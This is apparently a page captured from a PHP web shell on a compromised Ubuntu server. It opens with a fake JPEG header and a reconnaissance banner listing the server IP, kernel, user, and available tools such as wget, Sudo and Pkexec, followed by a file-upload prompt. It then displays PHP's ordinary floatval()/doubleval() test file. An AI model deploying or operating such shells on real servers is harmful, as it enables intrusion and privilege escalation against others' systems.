????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.21.113.219 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/general_functions/ |
Upload File : |
--TEST-- Testing floatval() and its alias doubleval() Functions --INI-- precision = 14 --FILE-- <?php /* Prototype: float floatval( mixed $var ); * Description: Returns the float value of var. */ // different valid float values $valid_floats = array( "0.0" => 0.0, "1.0" => 1.0, "-1.0" => -1.0, "1.234" => 1.234, "-1.234" => -1.234, "1.2e3" => 1.2e3, "-1.2e3" => -1.2e3, "10.0000000000000000005" => 10.0000000000000000005, "10.5e+5" => 10.5e+5, "1e5" => 1e5, "-1e5" => -1e5, "1e5" => 1e-5, "-1e-1" => -1e-1, "1e+5" => 1e+5, "-1e+5" =>-1e+5, "1E5" => 1E5, "-1E5" => -1E5, "1E+5" => 1E+5, "-1E5" => -1E+5, ".5e+7" => .5e+7, "-.5e+7" =>-.5e+7 ); /* loop to check that floatval() recognizes different float values, expected output:float value for valid floating point number */ echo "*** Testing floatval() with valid float values ***\n"; foreach ($valid_floats as $key => $value ) { echo "\n-- Iteration : $key -- \n"; var_dump( floatval($value) ); } /* loop to check that doubleval() also recognizes different float values, expected output:float value for valid floating point number */ echo "\n*** Testing doubleval() with valid float values ***\n"; foreach ($valid_floats as $key => $value ) { echo "\n-- Iteration : $key -- \n"; var_dump( doubleval($value) ); } ?> ===DONE=== --EXPECT-- *** Testing floatval() with valid float values *** -- Iteration : 0.0 -- float(0) -- Iteration : 1.0 -- float(1) -- Iteration : -1.0 -- float(-1) -- Iteration : 1.234 -- float(1.234) -- Iteration : -1.234 -- float(-1.234) -- Iteration : 1.2e3 -- float(1200) -- Iteration : -1.2e3 -- float(-1200) -- Iteration : 10.0000000000000000005 -- float(10) -- Iteration : 10.5e+5 -- float(1050000) -- Iteration : 1e5 -- float(1.0E-5) -- Iteration : -1e5 -- float(-100000) -- Iteration : -1e-1 -- float(-0.1) -- Iteration : 1e+5 -- float(100000) -- Iteration : -1e+5 -- float(-100000) -- Iteration : 1E5 -- float(100000) -- Iteration : -1E5 -- float(-100000) -- Iteration : 1E+5 -- float(100000) -- Iteration : .5e+7 -- float(5000000) -- Iteration : -.5e+7 -- float(-5000000) *** Testing doubleval() with valid float values *** -- Iteration : 0.0 -- float(0) -- Iteration : 1.0 -- float(1) -- Iteration : -1.0 -- float(-1) -- Iteration : 1.234 -- float(1.234) -- Iteration : -1.234 -- float(-1.234) -- Iteration : 1.2e3 -- float(1200) -- Iteration : -1.2e3 -- float(-1200) -- Iteration : 10.0000000000000000005 -- float(10) -- Iteration : 10.5e+5 -- float(1050000) -- Iteration : 1e5 -- float(1.0E-5) -- Iteration : -1e5 -- float(-100000) -- Iteration : -1e-1 -- float(-0.1) -- Iteration : 1e+5 -- float(100000) -- Iteration : -1e+5 -- float(-100000) -- Iteration : 1E5 -- float(100000) -- Iteration : -1E5 -- float(-100000) -- Iteration : 1E+5 -- float(100000) -- Iteration : .5e+7 -- float(5000000) -- Iteration : -.5e+7 -- float(-5000000) ===DONE===